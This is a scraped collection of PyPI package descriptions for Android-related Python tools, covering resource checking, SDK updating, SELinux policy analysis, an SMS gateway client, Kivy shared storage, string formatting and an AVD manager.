Apache version 2.0CHANGES0.1.7 (2016-06-20)Bugfixes.0.1.6 (2016-04-09)Bugfixes.0.1.5 (2015-07-27)Check if the file exists before removing values.0.1.4 (2015-05-21)Includes data files for pip.0.1.3 (2015-03-31)Executes subprocess in a safe way.0.1.2 (2015-03-25)Fixes #9. Supports new missing resource message pattern.0.1.1 (2014-09-11)Fixes #5. Checks if the file exists before trying to remove it.0.1.0 (2014-02-14)Initial release.
|
android-resources-checker
|
Android Resources CheckerWhatThis program will inspect the resources of your app and help you understand which ones are not being used and could
potentially be removed.Main features:Identify the unused resources in your android project.Identify the unused resources in your android library (when you have a multi-repo setup)Listing of the unused resources (name, type and size)Deletion of the unused resourcesInstallingThis program requires Python, supporting from 3.8.x and 3.9.xIn order to install run:pipinstall-Uandroid-resources-checkerUsingInspecting your app resources.Imagining your app in the projectsubject-app, you can trigger the resources inspection by running:android-resources-checker--app/path/to/subject-appInspecting your library app resources.In the case you have two projects in separate repos, where aclient-appdepends on alib-app, you can check the
unused resources of the library app by running:android-resources-checker\--app/path/to/lib-app\--client/path/to/client-app-1\--client/path/to/client-app-2An example of a run could look like this:ReportsThe default behavior is to generate reports on both the stdout and CSV.You can specify a single type of report using the--report=(CSV|STDOUT)option.If using CSV reports, you can specify the directory where to write the reports in the form of CSV files. For that use
the--reports-diroption.For example:android-resources-checker\--app/path/to/app\--reports-dir/path/to/reportsValidationThere is also the option to run this as a validation tool. In this case, it will fail with an error if any unused
resources are found.To specify the validation use the--checkflag (the default behavior is to perform no validation).Automatic DeletionYou can use this tool to also delete the unused resources by using the--deleteoption.LicenseCopyright (c) 2021 Dotanuki Labs, Fabio Carballo
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
android-sdk-enhanced
|
This project has moved toAndroidTool
|
android-sdk-supporter
|
android-sdk-supporterAndroid SDK 다운로드명령줄 도구https://developer.android.com/studio/command-line?hl=ko#tools-sdkAndroid SDK 명령줄 도구 (android_sdk\cmdline-tools)https://developer.android.com/studio#command-toolsAndroid SDK 빌드 도구 (android_sdk\build-tools)https://androidsdkmanager.azurewebsites.net/BuildtoolsAndroid SDK 플랫폼 도구 (android_sdk\platform-tools)https://developer.android.com/studio/releases/platform-tools?hl=ko#downloads.htmlgoogle drivehttps://drive.google.com/drive/folders/1mfYHbCbwM6HIexV9gQvtPFnIEwo26t0s?usp=drive_linkimport os
from android_sdk_supporter.build_tools import BuildTools
android_sdk_directory = os.path.dirname(__file__) + "/android_sdk"
build_tools = BuildTools(android_sdk_directory)import os
from android_sdk_supporter.cmdline_tools import CmdlineTools
android_sdk_directory = os.path.dirname(__file__) + "/android_sdk"
cmdline_tools = CmdlineTools(android_sdk_directory)import os
import time
from android_sdk_supporter.platform_tools import PlatformTools
from python_supporter.check_ip import check_ip #pip install python-supporter
android_sdk_directory = os.path.dirname(__file__) + "/android_sdk"
platform_tools = PlatformTools(android_sdk_directory)
device = ""
status = ""
try:
devices = platform_tools.check_devices()
for d in devices:
device = d["device"]
status = d["status"]
break
if not devices:
device = ""
status = ""
except:
device = ""
status = ""
print(f"연결 디바이스 (상태): {device} ({status})")
if not device and not status:
print(f"USB에 디바이스가 연결되지 않았습니다.")
exit()
print("모바일 데이터 해제")
platform_tools.data_disable()
print("1초 쉬기")
time.sleep(1)
print("모바일 데이터 연결")
platform_tools.data_enable()
ip = check_ip()
print(f"PC IP: {ip}")
|
android-sdk-updater
|
A tool for keeping your Android SDK dependencies up-to-date in unattended environments. Pass it your$ANDROID_HOMEand let it update your installed SDK packages as new revisions are released. Optionally, provide a
list of package names (fromandroid list sdk --all --extended) to bootstrap your environment, or to ensure your
latest set of dependencies are installed for your next CI run.This tool is especially useful for continuous-integration servers.Why do I need this?The command-line tools provided by the SDK are not especially useful for unattended use. Among other problems:There is no built-in method to list packages that are already installed. This may be because there is no
easily-consumed index of installed packages provided, so the SDK manager relies on directory scanning and
name-mangling. So does this tool, by the way.Some packages are unnecessarily downloaded and re-installed with no rhyme or reason when the latest version is already
installed.Some packages arenotautomatically updated when an incremental update is available.The package installer requires input from STDIN to actually install packages, because it assumes a human is present to
accept software licenses.This tool performs all of the gritty scanning, mangling, parsing, and input-faking necessary to determine:Packages you have installed, and their revisions.Packages that are available from the official update sites, and their revisions.Local packages which should be updated due to an available revision-bump.Which packages were actually installed, and which failed to install, after the installer has run.The ultimate goal of this project is to cease its existence when the Android Tools team addresses these pain points.
These are mostly solved problems in the GUI tool, but they make unattended builds a hassle.DisclaimerBy using this tool you acknowledge that associated licenses of the components downloaded are accepted automatically on
your behalf. You are required to have accepted the respective licenses of these components prior to using this tool.RequirementsTested with Python versions 2.7 and 3.5.Dependencies:jpropspexpectsemantic_versionInstallingUsingpip:$ pip install android-sdk-updaterFrom source:$ git clone https://github.com/tadfisher/android-sdk-updater.git
$ cd android-sdk-updater
$ python setup.py installFor development:$ python setup.py developUsageusage: android-sdk-updater [-h] [-v] [-a ANDROID_HOME] [-d] [-t TIMEOUT] [-vv]
[-o ...] [-s {available,installed,updates}]
[package [package ...]]
Update an Android SDK installation
positional arguments:
package name of SDK package to install if not already
installed
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-a ANDROID_HOME, --android-home ANDROID_HOME
the path to your Android SDK
-d, --dry-run compute packages to install but do not install
anything
-t TIMEOUT, --timeout TIMEOUT
timeout in seconds for package installation, or 0 to
wait indefinitely (default)
-vv, --verbose show extra output from android tools
-o ..., --options ...
options to pass to the "android" tool; must be the
final option specified
-s {available,installed,updates}, --show {available,installed,updates}
Show available or installed packagesAdditional whitespace-delimitedpackagearguments can be piped to this tool over the standard input.ExamplesPerform an incremental update of all packages in$ANDROID_HOME:$ android-sdk-updaterPerform an incremental update of all packages in/foo/sdk:$ android-sdk-updater --android-home=/foo/sdkUpdate all packages in$ANDROID_HOMEand ensure the installation of packagesandroid-23andextra-google-google_play_services:$ android-sdk-updater android-23 extra-google-google_play_servicesUpdate all packages inANDROID_HOMEand ensure the installation of packages contained in a file:$ cat packages.txt
tools
platform-tools
build-tools-23.0.2
android-23
addon-google_apis-google-23
extra-android-m2repository
extra-google-m2repository
extra-android-support
extra-google-google_play_services
sys-img-x86_64-addon-google_apis-google-23
$ cat packages.txt | android-sdk-updaterSame as the above, but through a proxy:$ cat packages.txt | android-sdk-updater -o --no-https --proxy-host example.com --proxy-port 3218Show installed packages, available packags, or packages with updates:$ android-sdk-updater -s installed
$ android-sdk-updater -s available
$ android-sdk-updater -s updatesCaveatsThe Android NDK is not supported. We plan to support installing and updating the NDK in a future release. In the
meantime, you may see output that includes the following:Ignoring 'ndk-bundle' as it is blacklisted.These warnings may be safely ignored.LicenseCopyright 2016 Tad Fisher
Copyright 2016 Tristan Waddington
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
|
android-setools
|
Android SETools: Policy analysis tools for SELinuxAndroid-SEToolsOpen-source fork from the SELinux Project SETools framework, with emphasis
on support of analyzing Android SELinux policy files.OverviewThis file describes SETools. SETools is a collection of graphical tools,
command-line tools, and libraries designed to facilitate SELinux policy
analysis. Please consult the KNOWN-BUGS file prior to reporting bugs.InstallationSETools uses the Python setuptools build system to build, and install.
As such it contains a setup.py script that will install the tools.To run SETools command line tools, the following packages are required:Python 3.8+NetworkX 2.0+ (2.6+ for Python 3.9+)setuptoolslibselinuxlibsepol 3.2+To run SETools graphical tools, the following packages are also required:PyQt5qt5-assistantqt-devel (only if rebuilding the help file)To build SETools, the following development packages are required, in
addition to the development packages from the above list:gcccython 0.27+ (0.29.14+ for Python 3.8+)To run SETools unit tests, the following packages are required, in
addition to the above dependencies:pytesttox (optional)Obtaining SEToolsSETools is included in most Linux distributions which support
SELinux, such as Fedora, Red Hat Enterprise Linux, Gentoo,
and Debian.Official releases of SETools may be freely downloaded from theGitHub releases page.SETools source code is maintained within a GitHub repository.
From the command line do:$gitclonehttps://github.com/mkomet/setools.gitYou may also browse theGitHub repository.
The master branch has development code that may not be stable. Each release
series is considered stable, and has its own branch, e.g. "4.0" for all
4.0.* releases. To checkout a stable branch, do:$gitcheckout4.0Where4.0is the release series. Each release will have a tag.Building SETools for Local UseTo use SETools locally, without installing it onto the system,
unpack the official distribution or check out the git repository,
and perform the following at the root:$pythonsetup.pybuild_ext-iThis will compile the C portion of SETools locally, and then
the tools can be ran from the current directory (e.g../seinfo).Rebuilding the Apol Help FileFor convenience, a prebuilt copy of the apol help data file is included.
To rebuild this file, the Qt5 development tools are required
(particularly, theqcollectiongeneratortool). At the root
of the SETools sources, perform the following:$pythonsetup.pybuild_qhcInstalling SEToolsUnpack the official distribution or check out the git repository,
and perform the following at the root:$pythonsetup.pybuild_ext$pythonsetup.pybuild$pythonsetup.pyinstallThis will put the applications in /usr/bin, data files in/usr/share/setools,
and libraries in/usr/lib/pythonX.Y/site-packages/setools.Building SETools with a Local Libsepol and LibselinuxAt times, SETools requires a newer libsepol than is available from
distributions. To use a locally-built libsepol instead of the libsepol
provided by the Linux distribution, build the libsepol sources and then
set theUSERSPACE_SRCenvironmental variable to the path to the root of
SELinux userspace source tree. The libsepol and libselinux must already
be compiled.$exportUSERSPACE_SRC=/home/user/src/selinux$pythonsetup.pybuild_ext$pythonsetup.pybuild$pythonsetup.pyinstallThis feature assumes that the directory structure at$USERSPACE_SRCis the
same as the SELinux userspace code checked out from GitHub.Since SETools is dynamically linked to libsepol and libselinux, you must
specify the path to the libsepol/src and libselinux/src directories by
usingLD_LIBRARY_PATHso that the newer versions of the libraries are used.$exportLD_LIBRARY_PATH="/home/user/src/selinux/libsepol/src:/home/user/src/selinux/libselinux/src"$./seinfopolicy.31$./sesearch-Asysadm_tpolicy.31Installation OptionsPlease seepython setup.py --helporpython setup.py install --helpfor up-to-date information on build and install options, respectively.Unit TestsOne goal for SETools is to provide confidence in the validity of the
output for the tools. The unit tests for SETools can be run with
the following commands:$pythonsetup.pybuild_ext-i$pytesttestsFeaturesSETools encompasses a number of tools, both graphical and command
line, and libraries. Many of the programs have help files accessible
during runtime.Graphical toolsTool NameUseapolA Qt graphical analysis tool. Use it to perform various types of analyses.Command-line toolsTool NameUsesecheckerConfiguration file-driven automated analysis.sediffCompare two policies to find differences.sedtaPerform domain transition analyses.seinfoList policy components.seinfoflowPerform information flow analyses.sesearchSearch rules (allow, type_transition, etc.)Analysis LibrariesThe SETools libraries are available for use in third-party
applications. Although this is not officially supported, we will
do our best to maintain API stability.Reporting bugsBugs can be reported in theSETools GitHub issues tracker.Copyright licenseThe intent is to allow free use of this source code. All programs'
source files are copyright protected and freely distributed under the
GNU General Public License (seeCOPYING.GPL). All library source
files are copyright under the GNU Lesser General Public License (seeCOPYING.LGPL). All files distributed with this package indicate the
appropriate license to use. Absolutely no warranty is provided or implied.
|
android-slackbot
|
Failed to fetch description. HTTP Status Code: 404
|
android_sms_exporter
|
Android sent and received sms export to csv file
|
android-sms-gateway
|
Android SMS Gateway Python API ClientThis is a Python client library for interfacing with theAndroid SMS GatewayAPI.RequirementsPython >= 3.6One of the following packages:requestsaiohttphttpxOptional:pycryptodome- end-to-end encryption supportInstallationpipinstallandroid_sms_gatewayYou can also install with preferred http client:pipinstallandroid_sms_gateway[requests]pipinstallandroid_sms_gateway[aiohttp]pipinstallandroid_sms_gateway[httpx]With encrypted messages support:pipinstallandroid_sms_gateway[encryption]QuickstartHere's an example of using the client:importasyncioimportosfromandroid_sms_gatewayimportclient,domain,Encryptorlogin=os.getenv("ANDROID_SMS_GATEWAY_LOGIN")password=os.getenv("ANDROID_SMS_GATEWAY_PASSWORD")# encryptor = Encryptor('passphrase') # for end-to-end encryption, see https://sms.capcom.me/privacy/encryption/message=domain.Message("Your message text here.",["+1234567890"],)defsync_client():withclient.APIClient(login,password,# encryptor=encryptor,)asc:state=c.send(message)print(state)state=c.get_state(state.id)print(state)asyncdefasync_client():asyncwithclient.AsyncAPIClient(login,password,# encryptor=encryptor,)asc:state=awaitc.send(message)print(state)state=awaitc.get_state(state.id)print(state)print("Sync client")sync_client()print("\nAsync client")asyncio.run(async_client())ClientThere are two client classes:APIClientandAsyncAPIClient. TheAPIClientis synchronous and theAsyncAPIClientis asynchronous. Both
implement the same interface and can be used as context managers.MethodsThere are two methods:send(message: domain.Message) -> domain.MessageState: Send a new SMS message.get_state(_id: str) -> domain.MessageState: Retrieve the state of a previously sent message by its ID.HTTP ClientThe API clients abstract away the HTTP client used to make requests. The library includes support for some popular HTTP clients and trys to discover them automatically:requests-APIClientonlyaiohttp-AsyncAPIClientonlyhttpx-APIClientandAsyncAPIClientAlso you can implement your own HTTP client that conforms to thehttp.HttpClientorahttp.HttpClientprotocol.ContributingContributions are welcome! Please submit a pull request or create an issue for anything you'd like to add or change.LicenseThis library is open-sourced software licensed under theApache-2.0 license.
|
androidstorage4kivy
|
Android Shared Storage 4 KivyA package for accessing Android Shared Storage.2023-11-13 This repository is archived.OverviewTo use, addandroidstorage4kivyto Buildozer requirements, see the examples.Programming ModelThe methods in this Python package provide a consistent file storage model and api across Android versions >= 5. As a result the model implements constraints that may not exist on some older versions of Android.The model consists of 'private files' which are accessed as traditional OS files, and 'shared files' which are copied or deleted by the api. 'Shared files' can be shared between apps in the usual Android ways, 'private files' cannot be shared between apps.On Android shared storage is structured as collections (Environment.DIRECTORY_MUSIC,Environment.DIRECTORY_DOCUMENTS, etc.) that each hold specific file types. Android documents thepredefined collections.ClassesThis package contains three classes,SharedStorage,ShareSheet, andChooser.SharedStorageallows copying files to and from shared storage with thecopy_to_shared(),copy_from_shared(), anddelete_shared()methods.ShareSheetallows sending plain text, or a 'shared file' to another app. Using theshare_plain_text(),share_file(), andshare_file_list()methods, these create an Android ShareSheet used to select the target app. You can also call theview_file()method to open a 'shared file' in another app - Android will try to use default application available for that specific file type.Chooserallows selecting a 'shared file' using the Android Chooser UI. The callback returns a list of one or more shared files.These classes are described in more detail in the following sections.On Android a 'shared file' is usually (but not always) implemented as an'android.net.Uri', this isnota Python file reference. Which is why we copy between shared and private files (which are Python files). For consistent behavior across Android versions use only this api to create, consume, or delete a 'shared file'.External storage must be availaible, this may not be true on older devices with a removable sdcard.On modern Android devices, and perhaps on older ones (which might alternatively use afileuri), this package depends on the Android JavaUri classto represent acontenturi. In particular two methods in this class may be usefultoString(), andparse(). Read that documentation.In Python, use these like this:content_uri_string = java_uri_class.toString()from jnius import autoclass
Uri = autoclass('android.net.Uri')
java_uri_class = Uri.parse(content_uri_string)Themusic_service_exampleuses these methods to pass uris between app and service. Because memory references cannot be passed in this case. Independent of Uri, in that case 'utf8' encoding is required byoscpy.PermissionsAndroid < 10 : WRITE_EXTERNAL_STORAGEAndroid >= 10, android.api < 33 : READ_EXTERNAL_STORAGEAndroid >= 10, android.api >= 33 : READ_MEDIA_IMAGES, READ_MEDIA_VIDEO, READ_MEDIA_AUDIO, READ_EXTERNAL_STORAGEThat Android >= 10, android.api >= 33 READ_EXTERNAL_STORAGE is for reading from the documents collection.ExamplesBasic usage,shared_storage_example.Share with another app,share_send_example.Receive from another app,share_receive_example.SharedStorage ClassOverviewUse for copying files to and from shared storage, and deleting from shared storage.The SharedStorage Class provides these methods:copy_to_shared(),copy_from_shared(),delete_shared()APIdefcopy_to_shared(private_file,collection=None,filepath=None)returnsshared_fileorNonedefcopy_from_shared(shared_file)returnsprivate_fileorNonedefdelete_shared(shared_file)returnsTrueifdeleted,elseFalseprivate_file- a fully qualified file path to a file in app private storage;copy_from_shared()copies to app private cache storage.collection- override the default collection. Must be valid for the file type. For example .jpg (defaults to DIRECTORY_PICTURES) and can be DIRECTORY_DCIM, but not DIRECTORY_MOVIES. Invalid entries are ignored and the default is used.filepath- shared storage filepath including file name, but not including 'Collection/app-Title'.shared_file- A reference to a file in shared storage returned bycopy_to_shared(). Or a string e.g. '//sub_dir/name.ext'.There are also three utility functions:defget_cache_dir(self):returnsfilepathorNonedefget_app_title(self):returnsastringdefget_file_MIME_type(self,file_name):returnsastringcache_dirishttps://github.com/Android-for-Python/Android-for-Python-Users#app-cache-directorywith the directory"FromSharedStorage"appended.app_titleis used in the shared storage pathMIME_typeis used to determine in which collection a file belongs, it is determined based on the file externsion.Implementation DetailsMediaStore file versions (" (N)" inserted the file name) are usually not created. However when a file cannot be replaced (due to some internal permissions issue that reqires MANAGER permission to adddress) a new file version will be added. Use the File Manager app (which has MANAGER permission) to address the underlying issue.Some MIME classifications (on which Collection classification is based) have changed with Android versions. For example '.ogg' files are 'application/ogg' on older devices and 'audio/ogg' on newer devices.A share receive of a large file (such as an mp4) is slow on Android < 10. To improve performance of this case, copy thefaster_copydirectory inshare_receive_exampleto your app and in buildozer.spec addandroid.add_src = faster_copy.The Downloads directory is a special case. In this directory Android only allows access to files downloaded by the current app. The traditional common usage of Downloads as a shared pool of files is not possible.Some users want to use the original shared storage filepath, not the filepath of a copy. This is possible with the Mediastore DATA column.Howeverthis column isdeprecated, so from the point of view of this package the original shared storage filepath (DATA column) will in the long term be unsupportable.ShareSheet ClassOverviewEnables sending either plain_text, a file, or a file list to another app. The target app is selected either with the ShareSheet UI, or specified with the api argument. Android requires that the target app must declare that it is able to receive shares of this type, for more details see theshare_receive_example.APIdefshare_plain_text(self,plain_text,app=None):defshare_file(self,shared_file,app=None):defshare_file_list(self,shared_file_list,app=None):defview_file(self,shared_file):plain_textis a string.appa string identifying the target app (for example, 'com.google.android.gm' for Gmail), The default opens a ShareSheet to select a compatible app.shared_fileis a file in shared storage.shared_file_listis a list of files in shared storage.Android < 10The ShareSheet class should probably be persistent since destroying the class destroys the shared uri.Chooser ClassOverviewThe Chooser class enables opening an Android Chooser, the chosen 'shared file' or 'shared files' is returned in a callback.As an alternative to the Android Chooser, you may want to implement your own custom picker. There is an example of this in themusic_service_example. That picker queries the Mediastore and hirearchicaly organizes music by genre, album, and track; displaying album art. The same approach can be used to custom pick from other media.APIInstantiate the class with a callback method as the argument.self.chooser=Chooser(self.chooser_callback)The Chooser UI is opened withchoose_content(), this can optionally be filtered by MIME type. The Android Chooser recognizes MIME wildcards such as 'image/*' or '*/*' but not '*/jpg'.self.chooser.choose_content('video/*')The selected files are reported by the app's callback method as a list. The default is one file in the list. To enable selecting multiple files, setmultiple = True.self.chooser.choose_content('image/*',multiple=True)defchooser_callback(self,shared_file_list):self.private_files=[]ss=SharedStorage()forshared_fileinshared_file_list:self.private_files.append(ss.copy_from_shared(shared_file))
|
android-strings-format
|
# Android-Strings-FormatThis script takes a strings resource as a model and a second one as a target.It will format the target strings resource in order to keep the same tags and comments order as the model one.Be aware that the target strings resource will be overwritten if no output file has been specified.The script will also warn you if a resource is missing inside the target strings.xml file.You need to run this script inside of the res directory of your Android project.Example of usage: python android-strings-format.py --target fr --output formatted_strings.xml## Usageandroid-strings-format.py [-h] [-m MODEL] -t TARGET[-o OUTPUT]* -h, --help show this help message and exit* --model MODEL, -m MODELLanguage code of the strings resource to use as model.If not specified, strings.xml inside the defaultvalues directory will be used as the model.* --target TARGET, -t TARGETLanguage code of the strings resource to format* --output OUTPUT, -o OUTPUTPath to the output formatted strings resource. If notspecified, the target strings resource file will beoverwritten.## ExampleTarget inside values directory```<?xml version="1.0" encoding="utf-8"?><!--Copyright 2016 Jonathan OdulBlablablabla--><resources><!-- Application name --><string name="app_name">APP</string><!-- Dialog texts --><string name="loading">Loading…</string><string name="loading_data">Loading data…</string><string name="processing">Processing…</string><string name="please_wait">Please wait…</string><!-- Dialog button texts --><string name="ok">Ok</string><string name="refresh">Refresh</string><string name="cancel">Cancel</string><string name="quit">Quit</string><!-- Error message --><string name="no_sdcard">No SD card mounted.\nPlease mount a sd card to use this application.</string><!-- Modes --><string-array name="modes"><item>Single</item><item>Shuffle</item><item>Repeat</item></string-array><!-- Plurals: time_minute --><plurals name="time_minute"><item quantity="one">%1$d minute</item><item quantity="other">%1$d minutes</item></plurals></resources>```Model inside values-fr directory```<?xml version="1.0" encoding="utf-8"?><resources><!-- Resources not formatted. What a disaster --><string name="app_name">VG Music</string><string name="loading">Chargement en cours…</string><string name="loading_data">Chargement des données…</string><string name="before_leaving">Avant de partir…</string><string name="no_sdcard">Aucune carte SD détéctée.\nVeuillez obtenir une carte SD avant d\'utiliser cette application.</string><string name="cancel">Annuler</string><string name="quit">Quitter</string><!-- Modes --><string-array name="modes"><item>Simple</item><item>Aléatoire</item><item>Répétition</item></string-array><string name="processing">Traitement en cours…</string><string name="please_wait">Veuillez patienter quelques instants…</string><!-- Plurals: time_minute --><plurals name="time_minute"><item quantity="one">%1$d minute</item><item quantity="other">%1$d minutes</item></plurals><string name="refresh">Rafraîchir</string><!-- To be deleted --><string name="unused_resource">Omelette du fromage</string></resources>```Running command```python android-strings-format.py --target fr --output formatted_strings.xml```Output```Processing with...model: values/strings.xmltarget: values-fr/strings.xmlWarning: resource 'ok' does not exist inside values-fr/strings.xmlSaved formatted strings resource to: formatted_strings.xml```formatted_strings.xml```<?xml version='1.0' encoding='UTF-8'?><!--Copyright 2016 Jonathan OdulBlablablabla--><resources><!-- Application name --><string name="app_name">VG Music</string><!-- Dialog texts --><string name="loading">Chargement en cours…</string><string name="loading_data">Chargement des données…</string><string name="processing">Traitement en cours…</string><string name="please_wait">Veuillez patienter quelques instants…</string><!-- Dialog button texts --><string name="ok">Ok</string><string name="refresh">Rafraîchir</string><string name="cancel">Annuler</string><string name="quit">Quitter</string><!-- Error message --><string name="no_sdcard">Aucune carte SD détéctée.\nVeuillez obtenir une carte SD avant d\'utiliser cette application.</string><!-- Modes --><string-array name="modes"><item>Simple</item><item>Aléatoire</item><item>Répétition</item></string-array><!-- Plurals: time_minute --><plurals name="time_minute"><item quantity="one">%1$d minute</item><item quantity="other">%1$d minutes</item></plurals></resources>```Much better, right?CHANGES=======0.1.0 (2017-04-21)------------------- Initial release.
|
android-stringslib
|
No description available on PyPI.
|
android-stt
|
android_sttandroid speech to text engine
|
android-test
|
Failed to fetch description. HTTP Status Code: 404
|
androidtestorchestrator
|
Failed to fetch description. HTTP Status Code: 404
|
android-text-tool
|
Android Text ToolDescriptionThis script is useful for extracting all strings from a multimodule Android project. It supports different output formats
which may be useful for you. Currently supported csv, yaml, dynodict-yaml. JSON is coming soon.NOTE: Before starting using this tool, please run in your project root otherwise you may get a lot of rubbish strings in
the output file:./gradlewcleanInstallationThis tool can be installed via PIP repositiory by running the following command:pipinstallandroid-text-toolor if you use Poetry, run this:poetryaddandroid-text-toolUsageBasic usageRun the tool in the root directory of your project(please, don't forget to clean it before to prevent extracting strings from different libraries you use).android-text-tool.-fcsvAs a result, you'll get a CSV file which contains all string resources from your project.Advanced usageandroid-text-tool[-h]-f{csv,yaml,dynodict}[-lDEFAULT_LANGUAGE]pathPositional arguments:path- the path of the Android project to scan.Optional arguments:-f {csv,yaml,dynodict},--format {csv,yaml,dynodict}- the output format to save the translations. Default is csv.-l DEFAULT_LANGUAGE,--default-language DEFAULT_LANGUAGE- the default language for the translations. This language code will be used for strings insidevaluefolder. Default is en.Supported output formatsCSVThis is a comma-separated sheet.Example:key,es,ht,fr,en
translation1,Test1,Test1,Test1,Test1
translation2,Test1,Test1,Test1,Test1
translation3,Test1,Test1,Test1,Test1YAMLExample:languages:-en-ht-es-frname:Exported project - 2023-11-03T02:29:50translations:-key:strings.xmltranslations:-key:translation1values:en:Test1fr:Test1ht:Test1-key:translation2values:en:Test1fr:Test1ht:Test1Dynodict YAMLThis format is for a tool which is going to be released soon. It's under development. Please, do not use it.
|
android-toast
|
Toast AndroidModule that allows you to create a native toast for android with python,
this module must be used with pydroid3, kivy and kivymd, you can create
a kivy app and use toast_android,This module allows you to change the
position of the toast to wherever you want with just passing some parameters,
you can also choose the duration of the toast, below you will see an example of use.Example:from androidtoast import toast
from kivymd.app import MDApp
from kivy.lang import Builder
from kivy.uix.screenmanager import ScreenManager
from kivymd.uix.screen import MDScreen
Builder.load_string('''
<Example>
MDFlatButton:
text:"My Toast"
pos_hint:{"center_x": .5, "center_y": .05}
on_press:root.show_toast()
''')
class Example(MDScreen):
def show_toast(self):
toast("hello world", True, 80, 200, 0)
class Iniciar(MDApp):
def build(self):
pantalla = ScreenManager()
screen = Example(name="one")
pantalla.add_widget(screen)
return pantalla
Iniciar().run()Indications:"""
:param text: text to be displayed in the toast;
:param short_duration: duration of the toast, if `True` the toast
will last 2.3s but if it is `False` the toast will last 3.9s;
:param gravity: refers to the toast position, if it is 80the toast will
be shown below, if it is 40 the toast will be displayed above;
:param y: refers to the vertical position of the toast;
:param x: refers to the horizontal position of the toast;
Important: if only the text value is specified and the value of
the `gravity`, `y`, `x` parameters is not specified, their values will
be 0 which means that the toast will be shown in the center.
"""This example can be used in Pydroid3 and in a kivy / kivymd appinstallation:pip3 install android-toast
|
androidtool
|
Android ToolA better version of the command-line android SDK and AVD manager tools with a more intuitive interfaceInstallationpip3 install androidtoolNote: Python 2 install is not supportedA better version of the command-line android tool with a more intuitive command-line interface.Usageandroidtool [options] doctor
androidtool [options] list build tools
androidtool [options] list installed packages
androidtool [options] list api versions [--x86_64 | --x86 | --arm] [--google-apis | --no-google-apis | --android-tv | --android-wear]
androidtool [options] list other packages
androidtool [options] install basic packages
androidtool [options] install version <android-api-version> [--x86_64 | --x86 | --arm] [--google-apis | --no-google-apis | --android-tv | --android-wear]
androidtool [options] update all
androidtool [options] list avds
androidtool [options] create avd <avd-name> <android-api-version> [--x86_64 | --x86 | --arm] [--google-apis | --no-google-apis | --android-tv | --android-wear]
androidtool [options] start avd <avd-name> [--headless]Options-v, --verbose Verbose modeSub-command descriptiondoctor - ensures that you have right version of Java. In the future, it will check Android SDK installation as well.
list build tools - lists available build tools
list api versions - lists different SDK versions available to install
list other packages - lists packages apart from build tools and api versions
list installed packages - lists installed packages
list avds - lists setup AVDs
install basic tools - installs a basic set of tools. Highly recommended to run it the first time.
install version - installs a particular API version
update all - updates all installed packages to the latest versions.
create avd - creates a new AVD. It will install the package, if required. By default, Google API build with X86_64 (on 64-bit) and X86 on 32-bit will be created.
start avd - Starts an existing AVD.Usage example$ androidtool doctor
Checking java version...
Correct Java version 1.8 is installed
Checking SDK manager is installed...
Checking that basic Android packages are installed...
Package 1/8: "build-tools;28.0.3" is installed
Package 2/8: "emulator" is installed
Package 3/8: "tools" is installed
Package 4/8: "platform-tools" is installed
Package 5/8: "extras;android;m2repository" is installed
Package 6/8: "extras;google;m2repository" is installed
Package 7/8: "patcher;v4" is installed
Package 8/8: "extras;intel;Hardware_Accelerated_Execution_Manager" is installed$ androidtool list build tools
...
build-tools;26.0.1
build-tools;26.0.2
build-tools;26.0.3
build-tools;27.0.0
build-tools;27.0.1
build-tools;27.0.2
build-tools;27.0.3
build-tools;28.0.0
build-tools;28.0.0-rc1
build-tools;28.0.0-rc2
build-tools;28.0.1
build-tools;28.0.2
build-tools;28.0.3$ androidtool list api versions --arm
Google API type: default (Standard Android image; no Google API)
armeabi-v7a -> 14, 14, 10, 14, 15, 16, 17, 18, 19, 21, 22, 24
Google API type: google_apis
armeabi-v7a -> 10, 15, 17, 18, 19, 21, 22, 23, 24, 25
Google API type: android-tv
armeabi-v7a -> 21, 23
Google API type: android-wear
armeabi-v7a -> 23, 25
Google API type: android-wear-cn
armeabi-v7a -> 25$ androidtool list api versions --x86 --google-apis
Google API type: google_apis
x86 -> 10, 15, 16, 17, 18, 19, 21, 22, 23, 24, 25, 26, 27, 28
x86_64 -> 21, 22, 23, 24, 25, 26, 28$ androidtool list avds
Available Android Virtual Devices:
Name: test_avd1
Path: /usr/local/Cellar/android-sdk/.android/avd/test_avd1.avd
Target: Default Android System Image
Based on: Android API 28 Tag/ABI: default/x86
---------
Name: test_avd2
Path: /usr/local/Cellar/android-sdk/.android/avd/test_avd2.avd
Target: Default Android System Image
Based on: Android API 28 Tag/ABI: default/x86$ androidtool update all
No packages to update
All licenses accepted
|
android-tool
|
No description available on PyPI.
|
android-tts
|
android_ttsUse android native tts engine to pack as a pyttsx3 driver for android device
|
androidtv
|
